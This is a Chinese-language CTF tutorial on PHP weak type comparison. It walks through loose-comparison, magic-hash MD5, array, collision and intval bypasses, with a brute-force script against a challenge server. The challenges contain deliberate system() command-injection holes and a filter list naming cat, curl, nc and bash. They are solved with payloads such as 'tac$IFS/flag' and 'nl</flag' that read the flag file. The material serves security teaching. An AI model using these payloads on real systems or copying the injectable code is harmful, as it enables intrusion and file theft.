PHP 中的弱类型比较
===
在进行比较的时候,会先判断两边的数据类型是否相等,再进行比较。
==
在进行比较的时候,会先将字符串类型转换成相同,再比较。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换数值并且比较按照数值来进行。
1 2 3 4 5 6 7 8 <?php var_dump ("admin" == 0 ); var_dump ("1admin" == 1 ); var_dump ("admin1" == 1 ); var_dump ("admin1" == 0 ); var_dump ("0e123456" == "0e4456789" );?>
当一个字符串被当做一个数值来取值,其结果和类型如下:
如果该字符串没有包含". "
, "e"
, "E"
并且其数值在整型的范围之内,该字符串被当做 int 来取值
其他所有情况下都被作为 float
来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 2 3 4 5 6 7 <?php $number = 1 + "10.5" ; $number = 1 + "-1.3e3" ; $number = 1 + "bob-1.3e3" ; $number = 1 + "2admin" ; $number = 1 + "admin2" ; ?>
弱类型例题-1 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_POST ['message' ])) { $message = json_decode ($_POST ['message' ]); $key = "******" ; if ($message ->key == $key ) { echo $flag ; } else { echo "fail" ; } } else { echo "~~~~" ; }
通过代码审计我们可以得知,通过 POST 请求接受参数 message
,并将其带入到 json_decode()
函数进行解析。
json_decode
— 对 JSON 格式的字符串进行解码
参数
说明
json
待解码的 json
string 格式的字符串。
associative
当为 true
时,JSON 对象将返回关联 array;当为 false
时,JSON 对象将返回 object。
其他参数省略
具体见:https://www.php.net/manual/zh/function.json-decode
也就是说,我们需要传入 JSON 格式的数据,由于代码中的 json_decode()
函数的 associative 并没有为 ture,故而返回的是一个对象。
因此通过 $message->key
获取 JSON 数据中键为 key
的值。
关键代码:
1 2 3 if ($message ->key == $key ) { echo $flag ; }
由于我们并不知道 $key
变量的值,但是这里使用的是 ==
会有弱类型比较发生,大胆假设 $key
的首字母不是数字,那么当我们传入如下值的时候,则会输出 FLAG:
因为开头的 $key
的值不是以数字开头,那么与 数字 0 进行 == 比较时是成立的。
弱类型例题-2 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_POST ['message' ])) { $message = json_decode ($_POST ['message' ]); $key = "******" ; if ($message ->key == $key ) { echo $flag ; } else { echo "fail" ; } } else { echo "~~~~" ; }
这道题的 $key
值前面 n 位是数字,因此上一题的 PAYLOAD 就行不通了,故而需要编写脚本,或使用 Burp 的 intruder 模块进行遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = "http://120.48.128.24:8080/" headers = { "User-Agent" :"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" , } for i in range (1 ,9999 ): data = { "message" :"{'key':%s}" %i } resp = requests.post(url,data=data,headers=headers) if ("flag{" in resp.text): print (resp.text) break
最终当 message={"key":123}
的时候,输出了FLAG,因此可知,$key
以 123 开头。
弱类型一览
MD5 绕过 例题-1 1 2 3 4 5 6 7 8 9 10 11 <?php $v1 = $_GET ['v1' ];$v2 = $_GET ['v2' ];if (isset ($v1 ) and isset ($v2 )) { if ($v1 != $v2 and md5 ($v1 ) == md5 ($v2 )) { die ("success!" ); } } show_source (__FILE__ );?>
通过代码审计可以得知,$v1
的值 不等于 $v2
并且 经过 md5 加密之后的 $v1
要等于 $v2
,很明显,前者和后者是矛盾的,因为众所周知,正常情况下,只有相同的内容 进行 MD5 加密,之后的结果才是相等的。
由于这里使用的是 ==
故而可能存在弱类型转换,假设 $v1
进行 md5 加密之后得到:0e123123123123123
,$v2
进行 md5 加密之后得到:0e456456456456
。
那么经过 ==
比较,两者是相等的,因为PHP会将其看做是科学计数法。0的任何次方都得0,故而就是 0
== 0
所以,我们只需要找到某个字符串进行 md5 加密之后,结果是 0e
开头 后面是全是数字即可。
1 2 3 4 5 6 7 8 9 10 <?php for ($i = 1000 ; $i < 1000000000 ; $i ++) { $md5 = md5 ($i ); if (preg_match ("/^0e\d+$/" , $md5 )) { echo $i ; echo "\n" ; echo $md5 ; echo "\n" ; } }
用时大概4-6分钟,已找到符合要求的内容,最后传参即可。
更多符合要求的字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 $md5 md5($md5 )s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 QNKCDZO 0e830400451993494058024219903391
方法二:也可以通过传入数组的方式:具体见例题-2
例题-2 1 2 3 4 5 6 7 8 9 10 11 <?php $v1 = $_GET ['v1' ];$v2 = $_GET ['v2' ];if (isset ($v1 ) and isset ($v2 )) { if ($v1 != $v2 and md5 ($v1 ) === md5 ($v2 )) { die ("success!" ); } } show_source (__FILE__ );?>
这里使用的是 ===
强等于,先比较其数据类型再比较其值,不会进行类型转换。故而例题-1的做法,在这里就不生效了。
理论来讲,md5 函数只接收字符串类型,如果接收了 array
即 数组类型,会发生什么呢?
答案是会报错,虽说是严重级别的错误,但是不影响后续代码的执行。同时,如果该函数发生错误,则会返回 NULL。也就是说我们传入数组即可。
在 URL 中,我们是可以传入数组类型的,以下以 PHP 语言为例:
也就是说,只要在参数名后加上[]
传入则是索引数组,在参数名后加上 ['key']
传入的则是关联数组。
最终传入数组即可。
这样的传参是不行的,由于两者的值一样,并且都是索引数组,因此两者相等,我们只需要前者传入索引后者传入关联数组即可。
或者让其两值不相等也可以。
正常情况下,页面会存在错误信息。这里我的环境关闭了报错回显,故而不显示。
例题-3 1 2 3 4 5 6 7 8 9 10 11 <?php $v1 = (string )$_GET ['v1' ];$v2 = (string )$_GET ['v2' ];if (isset ($v1 ) and isset ($v2 )) { if ($v1 != $v2 and md5 ($v1 ) === md5 ($v2 )) { die ("success!" ); } } show_source (__FILE__ );
由于这里将 $v1
和 $v2
的结果都强转为了字符串类型,并且使用的是 ===
强等于比较,故而前两关的方法都不能使用。
于是只能选择 MD5 碰撞:两个不同的东西拥有相同的 MD5 。
这里使用到的工具为:fastcoll ,程序下载地址:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
第一步:创建一个文本文件,写入任意的文件内容,命名为x1ong.txt (源文件)
第二步:运行 fastcoll 输入以下参数,其中 -p
是源文件,-o
是输出文件
1 fastcoll_v1.0.0.5.exe -p x1ong.txt -o 1.txt 2.txt
随后,程序所在目录就生成了 1.txt
和 2.txt
,其文件内容不一致,但是 md5 是一样的。
由于文件内容含有不可见字符,故而需要进行 URL 编码之后传入:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php function read_file ($filename ) { $file = fopen ($filename ,'rb' ); $content = fread ($file ,filesize ($filename )); return $content ; } $file1 = urlencode (read_file ('1.txt' ));$file2 = urlencode (read_file ('2.txt' ));echo $file1 ;echo "\n" ;echo $file2 ;echo "\n" ;?>
例题-4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
Level1 - intval 关键代码:
1 2 3 if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }
要求 $num
的值 下于 2020 又要变量 $num
+ 1 的结果大于 2021
,很明显是矛盾的。
intval
函数可以处理的不仅仅是十进制、还可以是 八进制、十六进制、科学计数法等等。
在 PHP7 以下 和 PHP 5.6 以上的版本中,以下结果截然不同:
1 2 3 4 5 6 7 intval ('2e4' ) intval ('2e4' + 1 ); intval ('2e4' ) intval ('2e4' + 1 );
也就是说在 PHP 5.6 版本中,字符串的 '2e4'
经过 intval()
函数取证之后得到整数 2。 但是如果是字符串 '2e4'
+ 1
则会将字符串的 2e4
同化为数字类型再进行 + 1
,那么最终结果得到 20001
。
而在 PHP 5.6 以上的版本中,不管是字符串的 '2e4'
还是 数字 2e4
经过 intval
函数取整之后都是 20000
。
通过题目的响应头字段 X-Powered-By
得到当前 PHP 版本为 5.6.40
故而我们只需要传入 ?num=2e4
即可。
Level2 - 弱类型 关键代码:
1 2 3 4 $md5 =$_GET ['md5' ];if ($md5 ==md5 ($md5 )) { echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; }
这里要求我们传入的 md5 参数要 ==
其进行 MD5 加密之后的值,也就是说,需要传一个值,进行 MD5 加密之后 还等于其本身。显然这种是不存在的。
由于使用的是 ==
,这里会产生弱类型转换,设有一个值 0e123123
进行 md5 加密之后为 0e456456
,那么进行 ==
比较是成立的。
编写如下脚本:
1 2 3 4 5 6 7 8 <?php for ($i =1 ;$i <10000000000000 ;$i ++) { $str = "0e" . (string )$i ; if ($str == md5 ($str )) { echo $str . "\n" ; } } ?>
以上内容都是符合规则的,例如:
1 2 3 4 5 6 7 <?php echo md5('0e215962017' ) . "\n" ;echo md5('0e730083352' ) . "\n" ;echo md5('0e807097110' ) . "\n" ;echo md5('0e840922711' ) . "\n" ;echo md5('0e1284838308' ) . "\n" ;?>
更多符合要求的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $md5 md5($md5 )0e215962017 0e291242476940776845150308577824 0e00275209979 0e551387587965716321018342879905 0e00506035745 0e224441551631909369101555335043 0e00540451811 0e057099852684304412663796608095 0e00678205148 0e934049274119262631743072394111 0e00741250258 0e899567782965109269932883593603 0e00928251504 0e148856674729228041723861799600 0e01350016114 0e769018222125751782256460324867 0e01352028862 0e388419153010508575572061606161 0e01392313004 0e793314107039222217518920037885 0e01875552079 0e780449305367629893512581736357 0e01975903983 0e317084484960342086618161584202 0e02042356163 0e335912055437180460060141819624 0e02218562930 0e151492820470888772364059321579 0e02451355147 0e866503534356013079241759641492 0e02739970294 0e894318228115677783240047043017 0e02760920150 0e413159393756646578537635311046 0e02784726287 0e433955189140949269100965859496 0e03298616350 0e851613188370453906408258609284 0e03393034171 0e077847024281996293485700020358
传入?md5=0e215962017
即可。
1 ?num=2e4&md5=0e215962017
Level3 - RCE 关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
通过代码可以发现,这里使用 GET 接收 参数 get_flag
,然后检查参数 get_flag
的值不能存在空格,并将参数 get_flag
的内容 cat
替换为 wctf2020
。
最后将 get_flag
的值带入到命令执行函数 system
中执行。
构造 PAYLOAD:
1 ?num=2e4&md5=0e215962017&get_flag=tac $IFS /flag
关于 命令执行 的内容,后续更新。
例题-5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);function isPalindrome ($str ) { $len =strlen ($str ); $l =1 ; $k =intval ($len /2 )+1 ; for ($j =0 ;$j <$k ;$j ++) if (substr ($str ,$j ,1 )!=substr ($str ,$len -$j -1 ,1 )) { $l =0 ; break ; } if ($l ==1 ) return true ; else return false ; } if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; $numPositve = intval ($num ); if ($num != $numPositve ) { die ('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve' ); } $numReverse = intval (strrev ($num )); if (preg_match ('/[^0-9.-]/' , $num )) { die ("非洲欢迎你1" ); } if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999 ) { die ("非洲欢迎你2" ); } if ( $numPositve === $numReverse && !isPalindrome ($num )){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧1" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 (md5 ($md5 ))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("more" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("tail" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("less" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("head" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("tac" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("$" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("sort" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("curl" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("nc" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("bash" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("php" , "36dCTFShow" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
Level1 关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function isPalindrome ($str ) { $len =strlen ($str ); $l =1 ; $k =intval ($len /2 )+1 ; for ($j =0 ;$j <$k ;$j ++) if (substr ($str ,$j ,1 )!=substr ($str ,$len -$j -1 ,1 )) { $l =0 ; break ; } if ($l ==1 ) return true ; else return false ; } if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; $numPositve = intval ($num ); $numReverse = intval (strrev ($num )); if ( $numPositve === $numReverse && !isPalindrome ($num )){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧1" ); }
假设 if ($num != $numPositve)
被注释,当我们传入 ?nu=100.001
,经过 intval
转为整数 $numPositve
为 100
。
那么经过 intval(strrev($num))
反转取整之后 $numReverse
也为 100
,故而条件 $numPositve === $numReverse
成立,但是 !isPalindrome($num)
不成立,因为 100.001
是回文数。
下面我们看下 intval()
函数的小特点:
1 2 3 4 5 <?php var_dump (intval ('100.001' )); var_dump (intval ('0100' )); var_dump (intval ('0000000000100' )); ?>
那么我们只需要在原有的 100.001
的末尾加上0,此时为100.0010
,经过 intval(strrev($num))
反转取整之后 $numReverse
依旧为 100
,那么此时就不是回文数。
那么原有代码中存在如下代码:
1 2 3 if ($num != $numPositve ) { die ('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve' ); }
也就是说,$num
需要和 $numPositve
(取整之后) 相等,因此我们需要进行绕过。利用 PHP 的精度问题进行绕过。
1 2 3 var_dump (1.000000000000001 == 1 ); var_dump (1.0000000000000001 == 1 ); var_dump (1.0000000000000001 === 1 );
可以看到,在 ==
比较的时候(!=
也不例外),会将小数点后面超过15位之后数据进行舍弃。
因此构造:
1 1000000000000000.00000000000000010
经过 intval($num)
之后 $numPositve
的值为 1000000000000000,接着又经过 intval(strrev($num))
反转取整之后 得到 1000000000000000
。
最终拿 $num
与 $numPositve
做 == 比较:
1 '1000000000000000.00000000000000010' == 1000000000000000
最终传入:
1 ?num=1000000000000000.00000000000000010
Level2 关键源码:
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 (md5 ($md5 ))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
这里的比 例题-4 中的 Level2 多了一层 md5(),要求我们传入的 md5 参数要 ==
其进行两次 MD5 加密之后的值,也就是说,需要传一个值,进行两次 MD5 加密之后 还等于其本身。显然这种是不存在的。
由于使用的是 ==
,这里会产生弱类型转换,设有一个值 0e123123
进行两次 md5 加密之后为 0e456456
,那么进行 ==
比较是成立的。
编写脚本:
1 2 3 4 5 6 7 8 <?php for ($i =1 ;$i <10000000000000 ;$i ++) { $str = "0e" . (string )$i ; if ($str == md5 (md5 ($str ))) { echo $str . "\n" ; } } ?>
程序运行结果:
更多结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $md5 md5(md5($md5 ))0e1138100474 0e779212254407018184727546255414 0e1576609003 0e783827937870189505146310298941 0e1576882155 0e063554437755195035165445789139 0e1687027651 0e824361684489256492954843919134 0e1808236718 0e935567136545220553710393252752 0e1883153115 0e215043081382353607609756824848 0e2010692162 0e514898998879174336203746127058 0e2191017163 0e990693510804099511097744934423 0e2263940937 0e468303117297464441647744757721 0e2268790262 00e73242608486551620036091555760 0e2366549572 0e691884388380428395250404229605 0e2815644399 0e662052678416572768754614486758 0e2871126444 0e247253660762547244712657850197 0e2988328559 0e183341037891805119498848833754 0e3493658743 0e124999860213566628959982757490 0e3511282263 0e657335831331991043075342997270 0e3734479932 00e10759643500635510591356144255 0e3875492324 0e611802685040974855944788819095 0e3900184182 0e141872119030269772765275363795
Level3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("more" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("tail" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("less" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("head" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("tac" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("$" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("sort" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("curl" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("nc" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("bash" , "36dCTFShow" , $get_flag ); $get_flag = str_ireplace ("php" , "36dCTFShow" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
通过代码发现,不能传入FLAG,以及将一些查看文件的命令替换为了 36dCTFShow
,我们换成别的绕过即可。
构造 PAYLOAD:
1 ?num=1000000000000000.00000000000000010&md5=0e1138100474&get_flag=nl </flag